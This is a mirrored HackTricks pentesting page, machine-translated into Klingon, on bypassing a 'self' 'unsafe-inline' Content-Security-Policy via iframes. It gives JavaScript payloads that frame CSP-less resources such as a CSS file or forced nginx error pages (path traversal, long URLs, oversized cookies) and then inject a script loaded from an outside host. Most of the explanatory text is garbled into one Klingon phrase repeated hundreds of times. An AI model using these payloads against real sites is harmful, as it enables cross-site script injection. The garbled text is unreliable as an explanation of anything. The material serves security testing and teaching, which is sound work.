hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md at kl

Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 04:33:28 +00:00

Translator workflow b442ae90c4 Translated to Klingon

2024-02-10 17:52:19 +00:00

11 KiB

Raw Permalink Blame History

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
Get the official PEASS & HackTricks swag
Discover The PEASS Family, our collection of exclusive NFTs
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

A configuration such as:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Via Text & Images

tlhIngan Hol:

Qapla'! jatlhpu'wI'vam vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlh

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

QaD Errors

QaD, qar'a'pu'wI', je 'oHbe' typically come without CSP headers je images, text files, 'ej X-Frame-Options. QaD be induced to load within an iframe, allowing for the following actions:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

Translation:

DaH jatlh:

Translation (Markdown):

After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

References

https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/